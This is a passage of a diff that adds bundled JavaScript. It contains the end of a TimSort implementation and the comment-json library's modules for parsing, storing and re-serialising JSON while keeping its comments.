+ } + return; + } + if (length2 === 1) { + dest -= length1; + cursor1 -= length1; + customDest = dest + 1; + customCursor = cursor1 + 1; + for (i7 = length1 - 1; i7 >= 0; i7--) { + array[customDest + i7] = array[customCursor + i7]; + results[customDest + i7] = results[customCursor + i7]; + } + array[dest] = tmp[cursor2]; + results[dest] = tmpIndex[cursor2]; + return; + } + let { minGallop } = this; + while (true) { + let count1 = 0; + let count2 = 0; + let exit3 = false; + do { + if (compare(tmp[cursor2], array[cursor1]) < 0) { + array[dest] = array[cursor1]; + results[dest] = results[cursor1]; + dest--; + cursor1--; + count1++; + count2 = 0; + if (--length1 === 0) { + exit3 = true; + break; + } + } else { + array[dest] = tmp[cursor2]; + results[dest] = tmpIndex[cursor2]; + dest--; + cursor2--; + count2++; + count1 = 0; + if (--length2 === 1) { + exit3 = true; + break; + } + } + } while ((count1 | count2) < minGallop); + if (exit3) { + break; + } + do { + count1 = length1 - gallopRight( + tmp[cursor2], + array, + start1, + length1, + length1 - 1, + compare + ); + if (count1 !== 0) { + dest -= count1; + cursor1 -= count1; + length1 -= count1; + customDest = dest + 1; + customCursor = cursor1 + 1; + for (i7 = count1 - 1; i7 >= 0; i7--) { + array[customDest + i7] = array[customCursor + i7]; + results[customDest + i7] = results[customCursor + i7]; + } + if (length1 === 0) { + exit3 = true; + break; + } + } + array[dest] = tmp[cursor2]; + results[dest] = tmpIndex[cursor2]; + dest--; + cursor2--; + if (--length2 === 1) { + exit3 = true; + break; + } + count2 = length2 - gallopLeft( + array[cursor1], + tmp, + 0, + length2, + length2 - 1, + compare + ); + if (count2 !== 0) { + dest -= count2; + cursor2 -= count2; + length2 -= count2; + customDest = dest + 1; + customCursor = cursor2 + 1; + for (i7 = 0; i7 < count2; i7++) { + array[customDest + i7] = tmp[customCursor + i7]; + results[customDest + i7] = tmpIndex[customCursor + i7]; + } + if (length2 <= 1) { + exit3 = true; + break; + } + } + array[dest] = array[cursor1]; + results[dest] = results[cursor1]; + dest--; + cursor1--; + if (--length1 === 0) { + exit3 = true; + break; + } + minGallop--; + } while (count1 >= DEFAULT_MIN_GALLOPING || count2 >= DEFAULT_MIN_GALLOPING); + if (exit3) { + break; + } + if (minGallop < 0) { + minGallop = 0; + } + minGallop += 2; + } + this.minGallop = minGallop; + if (minGallop < 1) { + this.minGallop = 1; + } + if (length2 === 1) { + dest -= length1; + cursor1 -= length1; + customDest = dest + 1; + customCursor = cursor1 + 1; + for (i7 = length1 - 1; i7 >= 0; i7--) { + array[customDest + i7] = array[customCursor + i7]; + results[customDest + i7] = results[customCursor + i7]; + } + array[dest] = tmp[cursor2]; + results[dest] = tmpIndex[cursor2]; + } else if (length2 === 0) { + throw new Error("mergeHigh preconditions were not respected"); + } else { + customCursor = dest - (length2 - 1); + for (i7 = 0; i7 < length2; i7++) { + array[customCursor + i7] = tmp[i7]; + results[customCursor + i7] = tmpIndex[i7]; + } + } + } + }; + function sort(array, compare, lo, hi) { + if (!Array.isArray(array)) { + throw new TypeError( + `The "array" argument must be an array. Received ${array}` + ); + } + results = []; + const { length } = array; + let i7 = 0; + while (i7 < length) { + results[i7] = i7++; + } + if (!compare) { + compare = alphabeticalCompare; + } else if (typeof compare !== "function") { + hi = lo; + lo = compare; + compare = alphabeticalCompare; + } + if (!lo) { + lo = 0; + } + if (!hi) { + hi = length; + } + let remaining = hi - lo; + if (remaining < 2) { + return results; + } + let runLength = 0; + if (remaining < DEFAULT_MIN_MERGE) { + runLength = makeAscendingRun(array, lo, hi, compare); + binaryInsertionSort(array, lo, hi, lo + runLength, compare); + return results; + } + const ts = new TimSort(array, compare); + const minRun = minRunLength(remaining); + do { + runLength = makeAscendingRun(array, lo, hi, compare); + if (runLength < minRun) { + let force = remaining; + if (force > minRun) { + force = minRun; + } + binaryInsertionSort(array, lo, lo + force, lo + runLength, compare); + runLength = force; + } + ts.pushRun(lo, runLength); + ts.mergeRuns(); + remaining -= runLength; + lo += runLength; + } while (remaining !== 0); + ts.forceMergeRuns(); + return results; + } + module5.exports = { + sort + }; + } +}); + +// node_modules/comment-json/src/common.js +var require_common6 = __commonJS({ + "node_modules/comment-json/src/common.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var PREFIX_BEFORE = "before"; + var PREFIX_AFTER_PROP = "after-prop"; + var PREFIX_AFTER_COLON = "after-colon"; + var PREFIX_AFTER_VALUE = "after-value"; + var PREFIX_AFTER = "after"; + var PREFIX_BEFORE_ALL = "before-all"; + var PREFIX_AFTER_ALL = "after-all"; + var BRACKET_OPEN = "["; + var BRACKET_CLOSE = "]"; + var CURLY_BRACKET_OPEN = "{"; + var CURLY_BRACKET_CLOSE = "}"; + var COMMA = ","; + var EMPTY = ""; + var MINUS = "-"; + var PROP_SYMBOL_PREFIXES = [ + PREFIX_BEFORE, + PREFIX_AFTER_PROP, + PREFIX_AFTER_COLON, + PREFIX_AFTER_VALUE, + PREFIX_AFTER + ]; + var NON_PROP_SYMBOL_PREFIXES = [ + PREFIX_BEFORE, + PREFIX_AFTER, + PREFIX_BEFORE_ALL, + PREFIX_AFTER_ALL + ]; + var NON_PROP_SYMBOL_KEYS = NON_PROP_SYMBOL_PREFIXES.map(Symbol.for); + var COLON = ":"; + var UNDEFINED = void 0; + var LINE_BREAKS_BEFORE = /* @__PURE__ */ new WeakMap(); + var LINE_BREAKS_AFTER = /* @__PURE__ */ new WeakMap(); + var RAW_STRING_LITERALS = /* @__PURE__ */ new WeakMap(); + var is_string = (subject) => typeof subject === "string"; + var is_number = (subject) => typeof subject === "number"; + var is_object = (v8) => typeof v8 === "object" && v8 !== null; + var normalize_key = (key) => is_string(key) || is_number(key) ? String(key) : null; + var set_raw_string_literal = (host, key, raw) => { + if (!is_object(host) || !is_string(raw)) { + return; + } + const normalized = normalize_key(key); + if (normalized === null) { + return; + } + let map4 = RAW_STRING_LITERALS.get(host); + if (!map4) { + map4 = /* @__PURE__ */ new Map(); + RAW_STRING_LITERALS.set(host, map4); + } + map4.set(normalized, raw); + }; + var get_raw_string_literal = (host, key) => { + if (!is_object(host)) { + return; + } + const normalized = normalize_key(key); + if (normalized === null) { + return; + } + const map4 = RAW_STRING_LITERALS.get(host); + return map4 ? map4.get(normalized) : void 0; + }; + var symbol = (prefix, key) => Symbol.for(prefix + COLON + key); + var symbol_checked = (prefix, key) => { + if (key) { + if (PROP_SYMBOL_PREFIXES.includes(prefix)) { + return symbol(prefix, key); + } + throw new RangeError( + `Unsupported comment position ${prefix} with key ${key}` + ); + } + if (NON_PROP_SYMBOL_PREFIXES.includes(prefix)) { + return Symbol.for(prefix); + } + throw new RangeError(`Unsupported comment position ${prefix}`); + }; + var define2 = (target, key, value2) => Object.defineProperty(target, key, { + value: value2, + writable: true, + configurable: true + }); + var copy_comments_by_kind = (target, source, target_key, source_key, prefix, remove_source) => { + const source_prop = symbol(prefix, source_key); + if (!Object.hasOwn(source, source_prop)) { + return; + } + const target_prop = target_key === source_key ? source_prop : symbol(prefix, target_key); + define2(target, target_prop, source[source_prop]); + if (remove_source) { + delete source[source_prop]; + } + }; + var copy_comments = (target, source, target_key, source_key, remove_source) => { + PROP_SYMBOL_PREFIXES.forEach((prefix) => { + copy_comments_by_kind( + target, + source, + target_key, + source_key, + prefix, + remove_source + ); + }); + }; + var swap_comments = (array, from, to) => { + if (from === to) { + return; + } + PROP_SYMBOL_PREFIXES.forEach((prefix) => { + const target_prop = symbol(prefix, to); + if (!Object.hasOwn(array, target_prop)) { + copy_comments_by_kind(array, array, to, from, prefix, true); + return; + } + const comments = array[target_prop]; + delete array[target_prop]; + copy_comments_by_kind(array, array, to, from, prefix, true); + define2(array, symbol(prefix, from), comments); + }); + }; + var assign_non_prop_comments = (target, source) => { + NON_PROP_SYMBOL_KEYS.forEach((key) => { + const comments = source[key]; + if (comments) { + define2(target, key, comments); + } + }); + }; + var assign3 = (target, source, keys2) => { + keys2.forEach((key) => { + if (typeof key !== "string" && typeof key !== "number") { + return; + } + if (!Object.hasOwn(source, key)) { + return; + } + target[key] = source[key]; + copy_comments(target, source, key, key); + }); + return target; + }; + var is_raw_json = typeof JSON.isRawJSON === "function" ? JSON.isRawJSON : () => false; + var set_comment_line_breaks = (comment, before2, after2) => { + if (is_number(before2) && before2 >= 0) { + LINE_BREAKS_BEFORE.set(comment, before2); + } + if (is_number(after2) && after2 >= 0) { + LINE_BREAKS_AFTER.set(comment, after2); + } + }; + var get_comment_line_breaks_before = (comment) => LINE_BREAKS_BEFORE.get(comment); + var get_comment_line_breaks_after = (comment) => LINE_BREAKS_AFTER.get(comment); + module5.exports = { + PROP_SYMBOL_PREFIXES, + PREFIX_BEFORE, + PREFIX_AFTER_PROP, + PREFIX_AFTER_COLON, + PREFIX_AFTER_VALUE, + PREFIX_AFTER, + PREFIX_BEFORE_ALL, + PREFIX_AFTER_ALL, + BRACKET_OPEN, + BRACKET_CLOSE, + CURLY_BRACKET_OPEN, + CURLY_BRACKET_CLOSE, + COLON, + COMMA, + MINUS, + EMPTY, + UNDEFINED, + symbol, + define: define2, + copy_comments, + swap_comments, + assign_non_prop_comments, + is_string, + is_number, + is_object, + is_raw_json, + set_raw_string_literal, + get_raw_string_literal, + set_comment_line_breaks, + get_comment_line_breaks_before, + get_comment_line_breaks_after, + /** + * Assign properties and comments from source to target object. + * + * @param {Object} target The target object to assign properties and comments + * to. + * @param {Object} source The source object to copy properties and comments + * from. + * @param {Array} [keys] Optional array of keys to assign. If + * not provided, all keys and non-property comments are assigned. If empty + * array, only non-property comments are assigned. + * @returns {Object} The target object with assigned properties and comments. + * + * @throws {TypeError} If target cannot be converted to object or keys is not + * array or undefined. + * + * @example + * const source = parse('{"a": 1 // comment a, "b": 2 // comment b}') + * const target = {} + * + * // Copy all properties and comments + * assign(target, source) + * + * // Copy only specific properties and their comments + * assign(target, source, ['a']) + * + * // Copy only non-property comments + * assign(target, source, []) + */ + assign(target, source, keys2) { + if (!is_object(target)) { + throw new TypeError("Cannot convert undefined or null to object"); + } + if (!is_object(source)) { + return target; + } + if (keys2 === UNDEFINED) { + keys2 = Object.keys(source); + assign_non_prop_comments(target, source); + } else if (!Array.isArray(keys2)) { + throw new TypeError("keys must be array or undefined"); + } else if (keys2.length === 0) { + assign_non_prop_comments(target, source); + } + return assign3(target, source, keys2); + }, + /** + * Move comments from one location to another within objects. + * + * @param {Object} source The source object containing comments to move. + * @param {Object} [target] The target object to move comments to. If not + * provided, defaults to source (move within same object). + * @param {Object} from The source comment location. + * @param {string} from.where The comment position (e.g., 'before', + * 'after', 'before-all', etc.). + * @param {string} [from.key] The property key for property-specific comments. + * Omit for non-property comments. + * @param {Object} to The target comment location. + * @param {string} to.where The comment position (e.g., 'before', + * 'after', 'before-all', etc.). + * @param {string} [to.key] The property key for property-specific comments. + * Omit for non-property comments. + * @param {boolean} [override=false] Whether to override existing comments at + * the target location. If false, comments will be appended. + * + * @throws {TypeError} If source is not an object. + * @throws {RangeError} If where parameter is invalid or incompatible with key. + * + * @example + * const obj = parse('{"a": 1 // comment on a}') + * + * // Move comment from after 'a' to before 'a' + * moveComments(obj, obj, + * { where: 'after', key: 'a' }, + * { where: 'before', key: 'a' } + * ) + * + * @example + * // Move non-property comment + * moveComments(obj, obj, + * { where: 'before-all' }, + * { where: 'after-all' } + * ) + */ + moveComments(source, target, { + where: from_where, + key: from_key + }, { + where: to_where, + key: to_key + }, override = false) { + if (!is_object(source)) { + throw new TypeError("source must be an object"); + } + if (!target) { + target = source; + } + if (!is_object(target)) { + return; + } + const from_prop = symbol_checked(from_where, from_key); + const to_prop = symbol_checked(to_where, to_key); + if (!Object.hasOwn(source, from_prop)) { + return; + } + const source_comments = source[from_prop]; + delete source[from_prop]; + if (override || !Object.hasOwn(target, to_prop)) { + define2(target, to_prop, source_comments); + return; + } + const target_comments = target[to_prop]; + if (target_comments) { + target_comments.push(...source_comments); + } + }, + /** + * Remove comments from a specific location within an object. + * + * @param {Object} target The target object to remove comments from. + * @param {Object} location The comment location to remove. + * @param {string} location.where The comment position (e.g., 'before', + * 'after', 'before-all', etc.). + * @param {string} [location.key] The property key for property-specific + * comments. Omit for non-property comments. + * + * @throws {TypeError} If target is not an object. + * @throws {RangeError} If where parameter is invalid or incompatible with key. + * + * @example + * const obj = parse('{"a": 1 // comment on a}') + * + * // Remove comment after 'a' + * removeComments(obj, { where: 'after', key: 'a' }) + * + * @example + * // Remove non-property comment + * removeComments(obj, { where: 'before-all' }) + */ + removeComments(target, { + where, + key + }) { + if (!is_object(target)) { + throw new TypeError("target must be an object"); + } + const prop = symbol_checked(where, key); + if (!Object.hasOwn(target, prop)) { + return; + } + delete target[prop]; + } + }; + } +}); + +// node_modules/comment-json/src/array.js +var require_array = __commonJS({ + "node_modules/comment-json/src/array.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var { sort } = require_src6(); + var { + PROP_SYMBOL_PREFIXES, + UNDEFINED, + symbol, + copy_comments, + swap_comments + } = require_common6(); + var reverse_comments = (array) => { + const { length } = array; + let i7 = 0; + const max2 = length / 2; + for (; i7 < max2; i7++) { + swap_comments(array, i7, length - i7 - 1); + } + }; + var move_comment = (target, source, i7, offset, remove2) => { + copy_comments(target, source, i7 + offset, i7, remove2); + }; + var move_comments = (target, source, start, count2, offset, remove2) => { + if (offset > 0) { + let i8 = count2; + while (i8-- > 0) { + move_comment(target, source, start + i8, offset, remove2); + } + return; + } + let i7 = 0; + while (i7 < count2) { + const ii = i7++; + move_comment(target, source, start + ii, offset, remove2); + } + }; + var remove_comments = (array, key) => { + PROP_SYMBOL_PREFIXES.forEach((prefix) => { + const prop = symbol(prefix, key); + delete array[prop]; + }); + }; + var get_mapped = (map4, key) => { + let mapped = key; + while (mapped in map4) { + mapped = map4[mapped]; + } + return mapped; + }; + var CommentArray = class _CommentArray extends Array { + // - deleteCount + items.length + // We should avoid `splice(begin, deleteCount, ...items)`, + // because `splice(0, undefined)` is not equivalent to `splice(0)`, + // as well as: + // - slice + /** + * Changes the contents of an array by removing or replacing existing + * elements and/or adding new elements in place. + * Comments are automatically preserved and repositioned during the operation. + * + * @param {...*} args Arguments passed to Array.prototype.splice + * @returns {CommentArray} A new CommentArray containing the deleted elements. + */ + splice(...args) { + const { length } = this; + const ret = super.splice(...args); + let [begin, deleteCount, ...items] = args; + if (begin < 0) { + begin += length; + } + if (arguments.length === 1) { + deleteCount = length - begin; + } else { + deleteCount = Math.min(length - begin, deleteCount); + } + const { + length: item_length + } = items; + const offset = item_length - deleteCount; + const start = begin + deleteCount; + const count2 = length - start; + move_comments(this, this, start, count2, offset, true); + return ret; + } + /** + * Returns a shallow copy of a portion of an array into a new CommentArray object. + * Comments are copied to the appropriate positions in the new array. + * + * @param {...*} args Arguments passed to Array.prototype.slice + * @returns {CommentArray} A new CommentArray containing the extracted + * elements with their comments. + */ + slice(...args) { + const { length } = this; + const array = super.slice(...args); + if (!array.length) { + return new _CommentArray(); + } + let [begin, before2] = args; + if (before2 === UNDEFINED) { + before2 = length; + } else if (before2 < 0) { + before2 += length; + } + if (begin < 0) { + begin += length; + } else if (begin === UNDEFINED) { + begin = 0; + } + move_comments(array, this, begin, before2 - begin, -begin); + return array; + } + unshift(...items) { + const { length } = this; + const ret = super.unshift(...items); + const { + length: items_length + } = items; + if (items_length > 0) { + move_comments(this, this, 0, length, items_length, true); + } + return ret; + } + shift() { + const ret = super.shift(); + const { length } = this; + remove_comments(this, 0); + move_comments(this, this, 1, length, -1, true); + return ret; + } + reverse() { + super.reverse(); + reverse_comments(this); + return this; + } + pop() { + const ret = super.pop(); + remove_comments(this, this.length); + return ret; + } + concat(...items) { + let { length } = this; + const ret = super.concat(...items); + if (!items.length) { + return ret; + } + move_comments(ret, this, 0, this.length, 0); + items.forEach((item) => { + const prev = length; + length += Array.isArray(item) ? item.length : 1; + if (!(item instanceof _CommentArray)) { + return; + } + move_comments(ret, item, 0, item.length, prev); + }); + return ret; + } + sort(...args) { + const result2 = sort( + this, + ...args.slice(0, 1) + ); + const map4 = /* @__PURE__ */ Object.create(null); + result2.forEach((source_index, index4) => { + if (source_index === index4) { + return; + } + const real_source_index = get_mapped(map4, source_index); + if (real_source_index === index4) { + return; + } + map4[index4] = real_source_index; + swap_comments(this, index4, real_source_index); + }); + return this; + } + }; + module5.exports = { + CommentArray + }; + } +}); + +// node_modules/comment-json/src/parse.js +var require_parse3 = __commonJS({ + "node_modules/comment-json/src/parse.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var esprima = require_esprima(); + var { + CommentArray + } = require_array(); + var { + PREFIX_BEFORE, + PREFIX_AFTER_PROP, + PREFIX_AFTER_COLON, + PREFIX_AFTER_VALUE, + PREFIX_AFTER, + PREFIX_BEFORE_ALL, + PREFIX_AFTER_ALL, + BRACKET_OPEN, + BRACKET_CLOSE, + CURLY_BRACKET_OPEN, + CURLY_BRACKET_CLOSE, + COLON, + COMMA, + MINUS, + EMPTY, + UNDEFINED, + is_object, + define: define2, + set_raw_string_literal, + set_comment_line_breaks, + assign_non_prop_comments + } = require_common6(); + var tokenize = (code) => esprima.tokenize(code, { + comment: true, + loc: true + }); + var current_code; + var previous_hosts = []; + var comments_host = null; + var unassigned_comments = null; + var previous_props = []; + var last_prop; + var remove_comments = false; + var inline = false; + var tokens = null; + var last2 = null; + var current = null; + var index4; + var reviver = null; + var clean = () => { + current_code = UNDEFINED; + previous_props.length = previous_hosts.length = 0; + last2 = null; + last_prop = UNDEFINED; + }; + var free = () => { + clean(); + tokens.length = 0; + unassigned_comments = comments_host = tokens = last2 = current = reviver = null; + current_code = UNDEFINED; + }; + var symbolFor = (prefix) => Symbol.for( + last_prop !== UNDEFINED ? prefix + COLON + last_prop : prefix + ); + var transform2 = (k6, { value: value2, context: context2 = {} }) => reviver ? reviver(k6, value2, context2) : value2; + var unexpected = () => { + const error2 = new SyntaxError(`Unexpected token '${current.value.slice(0, 1)}', "${current_code}" is not valid JSON`); + Object.assign(error2, current.loc.start); + free(); + throw error2; + }; + var unexpected_end = () => { + const error2 = new SyntaxError("Unexpected end of JSON input"); + Object.assign(error2, last2 ? last2.loc.end : { + line: 1, + column: 0 + }); + free(); + throw error2; + }; + var next = () => { + const new_token = tokens[++index4]; + inline = current && new_token && current.loc.end.line === new_token.loc.start.line || false; + last2 = current; + current = new_token; + }; + var type3 = () => { + if (!current) { + unexpected_end(); + } + return current.type === "Punctuator" ? current.value : current.type; + }; + var is = (t8) => type3() === t8; + var expect = (a7) => { + if (!is(a7)) { + unexpected(); + } + }; + var set_comments_host = (new_host) => { + previous_hosts.push(comments_host); + comments_host = new_host; + }; + var restore_comments_host = () => { + comments_host = previous_hosts.pop(); + }; + var assign_after_comments = () => { + if (!unassigned_comments) { + return; + } + const after_comments = []; + for (const comment of unassigned_comments) { + if (comment.inline) { + after_comments.push(comment); + } else { + break; + } + } + const { length } = after_comments; + if (!length) { + return; + } + if (length === unassigned_comments.length) { + unassigned_comments = null; + } else { + unassigned_comments.splice(0, length); + } + define2(comments_host, symbolFor(PREFIX_AFTER), after_comments); + }; + var assign_comments = (prefix) => { + if (!unassigned_comments) { + return; + } + define2(comments_host, symbolFor(prefix), unassigned_comments); + unassigned_comments = null; + }; + var parse_comments = (prefix) => { + const comments = []; + while (current && (is("LineComment") || is("BlockComment"))) { + const comment = { + ...current, + inline + }; + const previous_line = last2 ? last2.loc.end.line : 1; + set_comment_line_breaks( + comment, + Math.max(0, comment.loc.start.line - previous_line) + ); + comments.push(comment); + next(); + } + const { length } = comments; + if (length) { + const comment = comments[length - 1]; + const current_line = current ? current.loc.start.line : comment.loc.end.line; + set_comment_line_breaks( + comment, + void 0, + Math.max(0, current_line - comment.loc.end.line) + ); + } + if (remove_comments) { + return; + } + if (!length) { + return; + } + if (prefix) { + define2(comments_host, symbolFor(prefix), comments); + return; + } + unassigned_comments = comments; + }; + var set_prop = (prop, push4) => { + if (push4) { + previous_props.push(last_prop); + } + last_prop = prop; + }; + var restore_prop = () => { + last_prop = previous_props.pop(); + }; + var parse_object = () => { + const obj = {}; + set_comments_host(obj); + set_prop(UNDEFINED, true); + let started = false; + let name2; + parse_comments(); + while (!is(CURLY_BRACKET_CLOSE)) { + if (started) { + assign_comments(PREFIX_AFTER_VALUE); + expect(COMMA); + next(); + parse_comments(); + assign_after_comments(); + if (is(CURLY_BRACKET_CLOSE)) { + break; + } + } + started = true; + expect("String"); + name2 = JSON.parse(current.value); + set_prop(name2); + assign_comments(PREFIX_BEFORE); + next(); + parse_comments(PREFIX_AFTER_PROP); + expect(COLON); + next(); + parse_comments(PREFIX_AFTER_COLON); + obj[name2] = transform2(name2, walk()); + parse_comments(); + } + if (started) { + assign_comments(PREFIX_AFTER); + } + next(); + last_prop = void 0; + if (!started) { + assign_comments(PREFIX_BEFORE); + } + restore_comments_host(); + restore_prop(); + return obj; + }; + var parse_array = () => { + const array = new CommentArray(); + set_comments_host(array); + set_prop(UNDEFINED, true); + let started = false; + let i7 = 0; + parse_comments(); + while (!is(BRACKET_CLOSE)) { + if (started) { + assign_comments(PREFIX_AFTER_VALUE); + expect(COMMA); + next(); + parse_comments(); + assign_after_comments(); + if (is(BRACKET_CLOSE)) { + break; + } + } + started = true; + set_prop(i7); + assign_comments(PREFIX_BEFORE); + array[i7] = transform2(i7, walk()); + i7++; + parse_comments(); + } + if (started) { + assign_comments(PREFIX_AFTER); + } + next(); + last_prop = void 0; + if (!started) { + assign_comments(PREFIX_BEFORE); + } + restore_comments_host(); + restore_prop(); + return array; + }; + function walk() { + let tt3 = type3(); + if (tt3 === CURLY_BRACKET_OPEN) { + next(); + return { + value: parse_object() + }; + } + if (tt3 === BRACKET_OPEN) { + next(); + return { + value: parse_array() + }; + } + let negative = EMPTY; + if (tt3 === MINUS) { + next(); + tt3 = type3(); + negative = MINUS; + } + let v8; + let source; + switch (tt3) { + case "String": + set_raw_string_literal(comments_host, last_prop, current.value); + case "Boolean": + case "Null": + case "Numeric": + v8 = current.value; + next(); + source = negative + v8; + return { + value: JSON.parse(source), + context: { + source + } + }; + default: + return {}; + } + } + var parse17 = (code, rev, no_comments) => { + clean(); + current_code = code; + tokens = tokenize(code); + reviver = rev; + remove_comments = no_comments; + if (!tokens.length) { + unexpected_end(); + } + index4 = -1; + next(); + set_comments_host({}); + parse_comments(PREFIX_BEFORE_ALL); + const final = walk(); + parse_comments(PREFIX_AFTER_ALL); + if (current) { + unexpected(); + } + let result2 = transform2("", final); + if (!no_comments && result2 !== null) { + if (!is_object(result2)) { + result2 = new Object(result2); + } + assign_non_prop_comments(result2, comments_host); + } + restore_comments_host(); + free(); + return result2; + }; + module5.exports = { + parse: parse17, + tokenize + }; + } +}); + +// node_modules/comment-json/src/stringify.js +var require_stringify = __commonJS({ + "node_modules/comment-json/src/stringify.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var { + PREFIX_BEFORE_ALL, + PREFIX_BEFORE, + PREFIX_AFTER_PROP, + PREFIX_AFTER_COLON, + PREFIX_AFTER_VALUE, + PREFIX_AFTER, + PREFIX_AFTER_ALL, + BRACKET_OPEN, + BRACKET_CLOSE, + CURLY_BRACKET_OPEN, + CURLY_BRACKET_CLOSE, + COLON, + COMMA, + EMPTY, + UNDEFINED, + is_string, + is_number, + is_object, + get_raw_string_literal, + get_comment_line_breaks_before, + get_comment_line_breaks_after, + is_raw_json + } = require_common6(); + var SPACE = " "; + var LF = "\n"; + var STR_NULL = "null"; + var BEFORE = (prop) => `${PREFIX_BEFORE}:${prop}`; + var AFTER_PROP = (prop) => `${PREFIX_AFTER_PROP}:${prop}`; + var AFTER_COLON = (prop) => `${PREFIX_AFTER_COLON}:${prop}`; + var AFTER_VALUE = (prop) => `${PREFIX_AFTER_VALUE}:${prop}`; + var AFTER = (prop) => `${PREFIX_AFTER}:${prop}`; + var quote = JSON.stringify; + var comment_stringify = (value2, line) => line ? `//${value2}` : `/*${value2}*/`; + var repeat_line_breaks = (line_breaks, gap) => (LF + gap).repeat(line_breaks); + var read_line_breaks = (line_breaks) => is_number(line_breaks) && line_breaks >= 0 ? line_breaks : null; + var read_line_breaks_from_loc = (previous_comment, comment) => { + if (!previous_comment || !previous_comment.loc || !comment.loc) { + return null; + } + const { end } = previous_comment.loc; + const { start } = comment.loc; + if (!end || !start || !is_number(end.line) || !is_number(start.line)) { + return null; + } + const line_breaks = start.line - end.line; + return line_breaks >= 0 ? line_breaks : null; + }; + var count_trailing_line_breaks = (str2, gap) => { + const unit = LF + gap; + const { length } = unit; + let i7 = str2.length; + let count2 = 0; + while (i7 >= length && str2.slice(i7 - length, i7) === unit) { + i7 -= length; + count2++; + } + return count2; + }; + var process_comments = (host, symbol_tag, deeper_gap, display_block) => { + const comments = host[Symbol.for(symbol_tag)]; + if (!comments || !comments.length) { + return EMPTY; + } + let str2 = EMPTY; + let last_comment = null; + comments.forEach((comment, i7) => { + const { + inline, + type: type3, + value: value2 + } = comment; + let line_breaks_before = read_line_breaks( + get_comment_line_breaks_before(comment) + ); + if (line_breaks_before === null) { + line_breaks_before = read_line_breaks_from_loc(last_comment, comment); + } + if (line_breaks_before === null) { + line_breaks_before = inline ? 0 : 1; + } + const delimiter2 = line_breaks_before > 0 ? repeat_line_breaks(line_breaks_before, deeper_gap) : inline ? SPACE : i7 === 0 ? EMPTY : LF + deeper_gap; + const is_line_comment = type3 === "LineComment"; + str2 += delimiter2 + comment_stringify(value2, is_line_comment); + last_comment = comment; + }); + const default_line_breaks_after = display_block || last_comment.type === "LineComment" ? 1 : 0; + const line_breaks_after = Math.max( + default_line_breaks_after, + read_line_breaks(get_comment_line_breaks_after(last_comment)) || 0 + ); + return str2 + repeat_line_breaks(line_breaks_after, deeper_gap); + }; + var replacer = null; + var indent = EMPTY; + var clean = () => { + replacer = null; + indent = EMPTY; + }; + var join3 = (one, two, gap) => one ? two ? one + two.trim() + LF + gap : one.trimRight() + repeat_line_breaks( + Math.max(1, count_trailing_line_breaks(one, gap)), + gap + ) : two ? two.trimRight() + repeat_line_breaks( + Math.max(1, count_trailing_line_breaks(two, gap)), + gap + ) : EMPTY; + var join_content = (inside, value2, gap) => { + const comment = process_comments(value2, PREFIX_BEFORE, gap + indent, true); + return join3(comment, inside, gap); + }; + var stringify_string = (holder, key, value2) => { + const raw = get_raw_string_literal(holder, key); + if (is_string(raw)) { + try { + if (JSON.parse(raw) === value2) { + return raw; + } + } catch (e10) { + } + } + return quote(value2); + }; + var array_stringify = (value2, gap) => { + const deeper_gap = gap + indent; + const { length } = value2; + let inside = EMPTY; + let after_comma = EMPTY; + for (let i7 = 0; i7 < length; i7++) { + if (i7 !== 0) { + inside += COMMA; + } + const before2 = join3( + after_comma, + process_comments(value2, BEFORE(i7), deeper_gap), + deeper_gap + ); + inside += before2 || LF + deeper_gap; + inside += stringify5(i7, value2, deeper_gap) || STR_NULL; + inside += process_comments(value2, AFTER_VALUE(i7), deeper_gap); + after_comma = process_comments(value2, AFTER(i7), deeper_gap); + } + inside += join3( + after_comma, + process_comments(value2, PREFIX_AFTER, deeper_gap), + deeper_gap + ); + return BRACKET_OPEN + join_content(inside, value2, gap) + BRACKET_CLOSE; + }; + var object_stringify = (value2, gap) => { + if (!value2) { + return "null"; + } + const deeper_gap = gap + indent; + let inside = EMPTY; + let after_comma = EMPTY; + let first = true; + const keys2 = Array.isArray(replacer) ? replacer : Object.keys(value2); + const iteratee2 = (key) => { + const sv = stringify5(key, value2, deeper_gap); + if (sv === UNDEFINED) { + return; + } + if (!first) { + inside += COMMA; + } + first = false; + const before2 = join3( + after_comma, + process_comments(value2, BEFORE(key), deeper_gap), + deeper_gap + ); + inside += before2 || LF + deeper_gap; + inside += quote(key) + process_comments(value2, AFTER_PROP(key), deeper_gap) + COLON + process_comments(value2, AFTER_COLON(key), deeper_gap) + SPACE + sv + process_comments(value2, AFTER_VALUE(key), deeper_gap); + after_comma = process_comments(value2, AFTER(key), deeper_gap); + }; + keys2.forEach(iteratee2); + inside += join3( + after_comma, + process_comments(value2, PREFIX_AFTER, deeper_gap), + deeper_gap + ); + return CURLY_BRACKET_OPEN + join_content(inside, value2, gap) + CURLY_BRACKET_CLOSE; + }; + function stringify5(key, holder, gap) { + let value2 = holder[key]; + if (is_object(value2) && typeof value2.toJSON === "function") { + value2 = value2.toJSON(key); + } + if (typeof replacer === "function") { + value2 = replacer.call(holder, key, value2); + } + switch (typeof value2) { + case "string": + return stringify_string(holder, key, value2); + case "number": + return Number.isFinite(value2) ? String(value2) : STR_NULL; + case "boolean": + case "null": + return String(value2); + case "object": + if (is_raw_json(value2)) { + return value2.rawJSON; + } + return Array.isArray(value2) ? array_stringify(value2, gap) : object_stringify(value2, gap); + default: + } + } + var get_indent = (space) => typeof space === "string" ? space : typeof space === "number" ? SPACE.repeat(space) : EMPTY; + var { toString: toString3 } = Object.prototype; + var PRIMITIVE_OBJECT_TYPES = [ + "[object Number]", + "[object String]", + "[object Boolean]" + ]; + var is_primitive_object = (subject) => { + if (typeof subject !== "object") { + return false; + } + const str2 = toString3.call(subject); + return PRIMITIVE_OBJECT_TYPES.includes(str2); + }; + module5.exports = (value2, replacer_, space) => { + const indent_ = get_indent(space); + if (!indent_) { + return JSON.stringify(value2, replacer_); + } + if (typeof replacer_ !== "function" && !Array.isArray(replacer_)) { + replacer_ = null; + } + replacer = replacer_; + indent = indent_; + const str2 = is_primitive_object(value2) ? JSON.stringify(value2) : stringify5("", { "": value2 }, EMPTY); + clean(); + return is_object(value2) ? process_comments(value2, PREFIX_BEFORE_ALL, EMPTY, true).trimLeft() + str2 + process_comments(value2, PREFIX_AFTER_ALL, EMPTY).trimRight() : str2; + }; + } +}); + +// node_modules/comment-json/src/index.js +var require_src7 = 